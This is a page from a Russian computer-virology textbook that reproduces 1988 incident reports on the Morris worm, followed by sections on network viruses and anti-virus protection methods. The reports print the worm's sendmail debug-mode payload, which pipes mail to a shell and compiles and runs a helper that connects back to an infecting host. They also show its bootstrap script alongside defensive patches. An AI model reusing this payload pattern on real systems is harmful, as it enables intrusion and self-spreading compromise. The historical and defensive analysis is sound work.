Жанр: Учеба
Компьютерная вирусология ч. 1
... virus
program on the other end of the socket.
From here, I speculate on what happens since I can't find the
source to this part lying around on our machines:
5) The newly exec'd shell attempts to compile itself from the
files copied over to the target machine. I'm not sure what else
the virus does, if anything — it may also be attempting to add a
bogus passwd file entry or do something to the file system. The
helper program has an array of 20 filenames for the "helper" to
copy over, so there is room to spare. There are two versions
copied — a version for Vax BSD and a version for SunOS; the
appropriate one is compiled.
6) The new virus is dispatched. This virus opens all the virus
source files, then unlinks the files so they can't be found (since
it has them open, however, it can still access the contents).
Next, the virus steps through the hosts file (on the Sun, it uses
YP to step through the distributed hosts file) trying to connect
to other machines' sendmail. If a connection succeeds, it forks a
child process to infect it, while the parent continues to attempt
infection of other machines.
7) The child requests and initializes a new socket, then builds
and invokes a listener with the new socket number and hostid as
arguments (#1, above).
The heavy load we see is the result of multiple viruses coming in
from multiple sites. Since local hosts files tend to have entries
for other local hosts, the virus tends to infect local machines
multiple times — in some senses this is lucky since it helps
prevent the spread of the virus as the local machines slow down.
The virus also "cleans" up after itself. If you reboot an
infected machine (or it crashes), the /tmp directory is normally
cleaned up on reboot. The other incriminating files were already
deleted by the virus itself.
Clever, nasty, and definitely anti-social.
--spaf
------------------------------------------------------------------
-------
From: bishop@bear.Dartmouth.EDU (Matt Bishop)
Subject: More on the virus
Date: Thu, 3 Nov 88 16:32:25 EST
... This program introduced itself through a bug in sendmail. At
these sites, sendmail was compiled and installed with a debugging
option turned on. As near as I can figure (I don't have access to
the sendmail sources), by giving a specific option to the "debug"
command in sendmail (there are lots of those, controlling what
exactly you get information about) you can cause it to execute a
command. As sendmail runs setuid to root, guess what privileges
the command is executed with. Right.
Apparently what the attacker did was this: he or she connected to
sendmail (ie, telnet victim.machine 25), issued the appropriate
debug command, and had a small C program compiled. (We have it.
Big deal.) This program took as an argument a host number, and
copied two programs — one ending in q.vax.o and the other ending
in .sun.o — and tried to load and execute them. In those cases
where the load and execution succeeded, the worm did two things
(at least): spawn a lot of shells that did nothing but clog the
process table and burn CPU cycles; look in two places — the
password file and the internet services file — for other sites it
could connect to (this is hearsay, but I don't doubt it for a
minute.) It used both individual .rhost files (which it found
using the password file), and any other remote hosts it could
locate which it had a chance of connecting to. It may have done
more; one of our machines had a changed superuser password, but
because of other factors we're not sure this worm did it.
This last part is still sketchy; I have the relevant sun.o file
and will take it apart to see just what it was supposed to do. As
of now, it appears there was no serious damage (just wasted CPU
cycles and system administrator time).
Two obvious points:
1. Whoever did this picked only on suns and vaxen. One site with a
lot of IRISes and two Crays (ie, NASA Ames) got bit on their Suns
and Vaxen, but the attempt to get the other machines didn't work.
2. This shows the sorry state of software and security in the UNIX
world. People should NEVER put a program with debugging hooks in
it, especially when the hook is (or can be made) to execute an
arbitrary command. But that is how the sendmail which was used
was distributed!
One more interesting point: initially, I thought an application of
the "principle of least privilege" would have prevented this
penetration. But the attacker used a world-writeable directory to
squirrel the relevant programs in, so — in effect — everything
could have been done by any user on the system! (Except the
superuser password change, of course — if this worm did in fact
do it.)
I think the only way to prevent such an attack would have been to
turn off the debug option on sendmail; then the penetration would
fail. It goes to show that if the computer is not secure (and like
you, I don't believe there ever will be such a beastie), there is
simply no way to prevent a virus (or, in this case, a worm) from
getting into that system.
I know this is somewhat sketchy, flabby, and fuzzy, but it's all I
know so far. I'll keep you posted on developments ...
Matt
------------------------------------------------------------------
-------
From: bostic@okeeffe.Berkeley.EDU (Keith Bostic)
Subject: Virus (READ THIS IMMEDIATELY)
Date: 3 Nov 88 10:58:55 GMT
Subject: Fixes for the virus
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD
Description:
There's a virus running around; the salient facts. A bug in
sendmail has been used to introduce a virus into a lot of Internet
UNIX systems. It has not been observed to damage the host system,
however, it's incredibly virulent, attempting to introduce itself
to every system it can find. It appears to use rsh, broken
passwords, and sendmail to introduce itself into the target
systems. It affects only VAXen and Suns, as far as we know.
There are three changes that we believe will immunize your system.
They are attached.
Thanks to the Experimental Computing Facility, Center for Disease
Control for their assistance. (It's pretty late, and they
certainly deserved some thanks, somewhere!)
Fix:
First, either recompile or patch sendmail to disallow the `debug'
option. If you have source, recompile sendmail after first
applying the following patch to the module svrsmtp.c:
*** /tmp/d22039 Thu Nov 3 02:26:20 1988
--- srvrsmtp.c Thu Nov 3 01:21:04 1988
***************
*** 85,92 ****
"onex",CMDONEX,
# ifdef DEBUG
"showq",CMDDBGQSHOW,
- "debug",CMDDBGDEBUG,
# endif DEBUG
# ifdef WIZ
"kill",CMDDBGKILL,
# endif WIZ
--- 85,94 ----
"onex",CMDONEX,
# ifdef DEBUG
"showq",CMDDBGQSHOW,
# endif DEBUG
+ # ifdef notdef
+ "debug",CMDDBGDEBUG,
+ # endif notdef
# ifdef WIZ
"kill",CMDDBGKILL,
# endif WIZ
Then, reinstall sendmail, refreeze the configuration file, using
the command "/usr/lib/sendmail -bz", kill any running sendmail's,
using the ps(1) command and the kill(1) command, and restart your
sendmail. To find out how sendmail is execed on your system, use
grep(1) to find the sendmail start line in either the files
/etc/rc or /etc/rc.local
If you don't have source, apply the following patch to your
sendmail binary. SAVE A COPY OF IT FIRST, IN CASE YOU MESS UP!
This is mildly tricky — note, some versions of strings(1), which
we're going to use to find the offset of the string "debug" in the
binary print out the offsets in octal, not decimal. Run the
following shell line to decide how your version of strings(1)
works:
/bin/echo 'abcd' | /usr/ucb/strings -o
Note, make sure the eight control 'G's are preserved in this line.
If this command results in something like:
0000008 abcd
your strings(1) command prints out locations in decimal, else it's
octal.
The patch script for sendmail. NOTE, YOUR OFFSETS MAY VARY!! This
script assumes that your strings(1) command prints out the offsets
in decimal.
Script started on Thu Nov 3 02:08:14 1988
okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug
0096972 debug
okeeffe:tmp {3} adb -w /usr/lib/sendmail
?m 0 0xffffffff 0
0t10$d
radix=10 base ten
96972?s
96972:debug
96972?w 0
96972:25701 = 0
okeeffe:tmp {4} ^D
script done on Thu Nov 3 02:09:31 1988
If your strings(1) command prints out the offsets in octal, change
the
line "0t10$d" to "0t8$d".
After you've fixed sendmail, move both /bin/cc and /bin/ld to
something
else. (The virus uses the cc and the ld commands to rebuild itself
to
run on your system.)
Finally, kill any processes on your system that don't belong
there. Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are
random digits, as the command name on the ps(1) output line.
One more thing, if you find files in /tmp or /usr/tmp that have
names like "xNNNNNN,l1.c", or "xNNNNNN,sun3.o", or
"xNNNNNNN,vax.o" where the N's are random digits, you've been
infected.
------------------------------------------------------------------
-------
From: news@cs.purdue.EDU (News Knower)
Subject: Re: The virus
Date: 3 Nov 88 19:58:27 GMT
The patch from Keith Bostic in the last message is *not*
sufficient to halt the spread of the virus. We have discovered
from looking at the binaries that the virus also attempts to
spread itself via "rsh" commands to other machines. It looks
through a *lot* of files to find possible vectors to spread.
If you have a bunch of machines with hosts.equiv set or .rhosts
files, you should shut them *all* down at the same time after you
have fixed sendmail to prevent a further infestation. If you don't
clear out the versions in memory, you won't protect your other
machines.
The virus runs itself with the name "sh" and then overwrites argv,
so if a "ps ax" shows any processes named "(sh)" without a
controlling tty, you have a problem. Due to the use of other uids
from rsh, don't make any conclusions if the uid is one of your
normal users.
Also, check your mailq (do a mailq command). If you see any
entries that pipe themselves through sed and sh, delete them from
the queue before
you restart your machines.
Non-internet sites do not need to worry about this virus (for
now!), but be aware that mail and news may not be flowing
everywhere for some time — many sites are disconnecting from the
Internet completely until the virus is contained.
------------------------------------------------------------------
-------
From: Gene Spafford "spaf@purdue.edu"
Subject: Updated worm report
Date: Fri, 04 Nov 88 00:27:54 EST
This is an updated description of how the worm works (note: it is
technically a worm, not a virus, since it does not attach itself
to other code {that we know about}):
All of our Vaxen and some of our Suns here were infected with the
worm. The worm forks repeated copies of itself as it tries to
spread itself, and the load averages on the infected machines
skyrocketed. In fact, it got to the point that some of the
machines ran out of swap space and kernel table entries,
preventing login to even see what was going on!
The worm seems to consist of two parts. The way that it works is
as follows:
1) Virus running on an infected machine opens a TCP connection to
a victim machine's sendmail, invokes debug mode, and submits a
version of itself as a mail message.
*OR* it uses rsh to create itself on the remote machine through an
account requiring no password (due to hosts.equiv or .rhosts
entries).
*OR* it gets in via a bug in fingerd *OR* it uses telnet (more on
this later).
Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/^$/d | sh; exit 0"
cd /usr/tmp
cat " x14481910.c ""'EOF'
"text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;
rm -f x14481910 x14481910.c
2) This program is a simple "listener" or "helper" program of
about a hundred lines of fairly simple code. As you can see, the
helper is invoked with arguments pointing back at the infecting
worm (givinghostid/socket /checksum(?) as arguments).
3) The helper then connects to the "server" and copies a number of
files (presumably to /tmp). After the files are copied, it exec's
a shell with standard input coming from the infecting worm program
on the other end
of the socket.
From here, I speculate on what happens since I can't find the
source to this part lying around on our machines:
4) The newly exec'd shell attempts to compile itself from the
files copied over to the target machine. The command file it uses
is as follows:
PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$
5) This creates and dispatches the new worm. This worm opens all
the worm source files, then unlinks the files so they can't be
found (since it has them open, however, it can still access the
contents). Next, the worm steps through the hosts file (on the
Sun, it uses YP to step through the distributed hosts file) trying
to connect to other machines' sendmail. If a connection succeeds,
it forks a child process to infect it, while the parent continues
to attempt infection of other machines.
6) The child requests and initializes a new socket, then builds
and invokes a listener with the new socket number and hostid as
arguments (#1, above).
Other notes:
The worm runs in stages. It first collects info from the
/etc/hosts files, the hosts.equiv file, and other files containing
host names and host IP addresses. It even runs netstat to find out
what networks the machine is attached to! It uses this information
to attempt to penetrate sendmail on those machines. It also knows
how to penetrate "fingerd" on Vaxen (on Suns, the attempt results
in a core dump). I will privately tell individuals how to fix the
bug in fingerd, but for now change it so it does not run as
"root".
After this first stage, it appears to sleep for a while. Then it
starts collecting user names and it begins probing with "rsh". It
also tries to
attack the passwords by trying a set of built-in words, the
contents of /usr/dict, and words snarfed from system files. If it
succeeds in breaking a local password, it forks a child to use
telnet to break into that account and copy itself.
As I write this, no one seems to know what it is supposed to
eventually do. Perhaps it just breaks in everywhere it can. We do
know that if it doesn't break into any accounts or systems for a
while, it enters a mode where it tries to break the root password
via brute force searching. We suspect that if it succeeds it then
does very nasty things.
Other notes:
The program corrupts its argument vector, so it appears in a "ps
ax" as
"(sh)" (a login shell). Don't trust any of these if you have them
running.
The program doesn't copy around source files (except the helper) -
- it copies around pre-compiled binaries that are linked on the
local machine and then run. The worm appears to only be carrying
binaries for 68020-based Suns and Vax 7xx and 8800 machines.
Pyramids, Sun 2's and Sequents are all definitely immune. (Note:
an infected 8800 is an awesome engine of contagion.)
The strings in the binaries are encrypted against a random
"strings"
invocation. If you have a binary, Keith Bostic informs me that Xor
with 0x81 will reveal interesting things, although that is not the
only mask used.
The first observation of the virus I have heard about was 6pm
Wednesday night in Pittsburgh. It didn't hit Purdue until about 4
this morning. We
were lucky in that other sites, like CMU and Princeton, were hit
around
11 last night.
Acknowledgements: Some of the above information was obtained from
Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue),
Dan Trinkle
(Purdue), Kevin Braunsdorf (Purdue) and Miek Rowan (Purdue).
Thanks, guys.
------------------------------------------------------------------
-------
From: Gene Spafford "spaf@purdue.edu"
Subject: A worm "condom"
Date: Thu, 03 Nov 88 21:20:10 EST
... Kevin Braunsdorf & Rich Kulawiec (Purdue-CC) have come up with
a "condom" to protect your machine against the CURRENT worm. They
are not
100% sure it works, but it seems to be completely effective and it
can't
do any harm. As ROOT, do:
mkdir /usr/tmp/sh
chmod 111 /usr/tmp/sh
Then edit your rc.local file to recreate the directory in case of
a reboot. This will not stop a current infection, but it will
prevent any new ones from taking hold — it prevents the worm from
creating replicas.
... --spaf
------------------------------------------------------------------
-------
From: Gene Spafford "spaf@purdue.edu"
Subject: A cure!!!!!
Date: Thu, 03 Nov 88 22:04:15 EST
FLASH!!
Kevin ("Adb's your friend.") Braunsdorf just burst into my office
with a cure discovered in the disassembled worm binary.
If there is an external variable in the library named "pleasequit"
that is non-zero, the worm will die immediately after exiting.
Thus, to kill any new worms, include a patch in your library that
defines the symbol. The following shell file and source code will
modify your C library to define this symbol.
It WON'T kill any currently linked and running versions, but it
will prevent reinfection.
# Shar archive. Give the following as
# input to /bin/sh
# Packed Thu Nov 3 21:56:35 EST 1988
# by spaf@uther.cs.purdue.edu
#
# This archive contains:
# foo.sh
# foo.c
#
#
echo x - foo.sh
sed 's/^X//' "foo.sh ""'*-*-END-of-foo.sh-*-*'
Xcc -c foo.c -o foo.o
Xcp /lib/libc.a /lib/libc.a.old
Xar q /lib/libc.a foo.o
Xranlib /lib/libc.a
*-*-END-of-foo.sh-*-*
echo x - foo.c
sed 's/^X//' "foo.c ""'*-*-END-of-foo.c-*-*'
Xextern int pleasequit = -1;
*-*-END-of-foo.c-*-*
exit
9.3. Вирусы в локальных сетях
Проблемы, связанные с локальными сетями, во многом зависят от
типа используемой сети. Так, например, в некоторых дешевых
локальных сетях дисковод сетевого сервера доступен как обычный
диск. Это означает, что обычный файловый вирус, попав на диск
центрального сервера будет распространяться по всей сети как будто
по обычной файловой системе отдельного персонального компьютера.
В более дорогих системах имеется некоторая степень
регламентирования доступа, обычно аналогичная той, которая
используется в многозадачных системах на больших ЭВМ. В этих
системах особую опасность представляет так называемый
"суперпользователь", т.е. пользователь имеющий наивыший уровень
доступа ко всем системным ресурсам. Небрежное отношение к паролям
таких пользователей или злоупотребление работой с самым высоким
статусом доступа существенно облегчает попадание и быстрое
распространение по сети файловых вирусов, поскольку фактически
отключает имеющиес защитные механизмы.
9.3.1. Вирус 1260
Данный вирус является сильно модифицированным вариантом вируса
С-648 и способен распространяться по сети Novell. Хотя вирус не
является резидентным, он распространяется достаточно быстро Длина
зараженные файлов увеличиваются на 1260, причем при заражении они
шифруются ключем, меняющимся от файла к файлу. Отличительной
особенностью вируса является его способность заражать локальные
сети.
Исторические замечания. Вирус был обнаружен в Миннесоте(США) в
январе 1990 г.
Методы и средства защиты. Детектируется полидетектором SCAN.
10. ТЕХНОЛОГИЯ ПРИМЕНЕНИЯ СРЕДСТВ
ЗАЩИТЫ ОТ ВИРУСОВ
"Предусмотрительность и осторож-
ность одинаково важны: предус-
мотрительность - чтобы вовремя
заметить трудности, а осторож-
ность - чтобы самым тщательным
образом подготовиться к их
встрече"
Р.Амунденсен
Проблема "вирус - средства защиты" аналогична проблеме "оружие
нападения - оружие защиты": появление средств защиты стимулирует
разработку более совершенных средств нападения. Поэтому следует
ожидать, что и компьютерные вирусы надолго останутся актуальной
проблемой, причем совершенствование средств защиты будет сопровождаться
и совершенствованием самих вирусов. Эта ситуация в какой-то
мере напоминает естественный отбор, в ходе которого, как известно,
выживают наиболее приспособленные.
10.1. Классификация средств защиты от вирусов
Время, когда можно было работать на машине и не задумываться над
тем, что завтра ваших программ и файлов на диске не окажется, прошло
навсегда. Впрочем, для отечественных программистов оно никогда
и не наступало, поскольку надежность магнитных носителей и устройств,
использовавшихся в нашей стране, всегда оставляла желать лучшего.
Поэтому сейчас в арсенал каждого пользователя должен войти
необходимый минимум средств защиты. Методика их применения будет
рассмотрена несколько позднее. Введем необходимые термины и приведем
их краткую классификацию:
архивирование: копирование таблицы FAT, ежедневное ведение архивов
измененных файлов. Это самый важный, основной метод защиты от
вирусов. Остальные методы не могут заменить ежедневное архивирование,
хотя и повышают общий уровень защиты;
входной контроль: проверка поступающих программ детекторами,
проверка соответствия длины и контрольных сумм в сертификате длинам
и контрольным суммам полученных программ; систематическое обнуление
первых трех байтов сектора начальной загрузки на полученных
незагружаемых дискетах (для уничтожения бутовых вирусов);
профилактика: работа с дискетами, защищенными от записи, минимизация
периодов доступности дискеты для записи, разделение "общих"
дискет между конкретными пользователями и разделение передаваемых
и поступающих дискет, раздельное хранение вновь полученных программ
и эксплуатировавшихся ранее, хранение программ на "винчестере"
в архивированном виде;
ревизия: анализ вновь полученных программ специальными средствами,
контроль целостности с помощью регулярного подсчета контрольных
сумм и проверки сектора начальной загрузки перед считыванием
информации или загрузкой с дискеты, контроль содержимого системных
файлов (прежде всего, СOMMAND.COM) и др. Имеется целый ряд программ-ревизоров,
обеспечивающих подсчет контрольных сумм (см.
прил.5);
карантин: каждая новая программа, полученная без контрольных
сумм, должна проходить карантин, т.е. тщательно проверяться компетентными
специалистами на известные виды компьютерных вирусов, и в
течение определенного времени за ней должно быть организовано наблюдение.
Использование специального имени пользователя в ADM
(Advanced Disk Manager) при работе со вновь поступившими программами,
причем для этого пользователя все остальные разделы должны
быть либо невидимы, либо иметь статус READ_ONLY;
сегментация: использование ADM для разбиения диска на "непотопляемые
отсеки" — зоны с установленным атрибутом READ ONLY. Использование
для хранения ценной информации разделов, отличных от C
или D, и не указываемых в PATH. Раздельное хранение исполняемых
программ и баз данных;
фильтрация: применение программ-сторожей для обнаружения попыток
выполнить несанкционированные действия;
вакцинирование: специальная обработка файлов, дисков, каталогов,
запуск резидентных программ-вакцин, имитирующих сочетание условий,
которые используются данным типом вируса для определения, заражена
уже программа, диск, компьютер или нет, т.е. обманывающих вирус;
автоконтроль целостности: применение резидентных программ подсчета
контрольных сумм перед запуском программ, использование в
программе специальных алгоритмов, позволяющих после запуска программы
определить, были внесены изменения в файл, из которого загружена
программа, или нет;
терапия: дезактивация конкретного вируса в зараженных программах
специальной программой-антибиотиком или восстановление первоначального
состояния программ путем "выкусывания" всех экземпляров
вируса из каждого зараженного файла или диска с помощью программыфага.
Как видно из приведенного выше материала, имеется несколько типов
программных средств защиты от вирусов. Если попытаться наметить
иерархию этих средств по их вкладу в безопасность, то представляется,
что на первом месте идут программы-архиваторы.
10.2. Основная технологическая схема защиты
"Volenum ducunt fata,
nolenum trahunt"
(Желающего судьба ведет,
не желающего тащит)
Латинская пословица
Проблему защиты от вирусов целесообразно рассматривать в общем
контексте проблемы защиты информации от несанкционированного доступа.
По данной проблеме опубликован ряд монографий, среди которых
следует рекомендовать учебник Л.Д.Хофмана [ ] и монографию Сяо,
Керр и Медника [ ]. Основной принцип, который должен быть положен
в
...Закладка в соц.сетях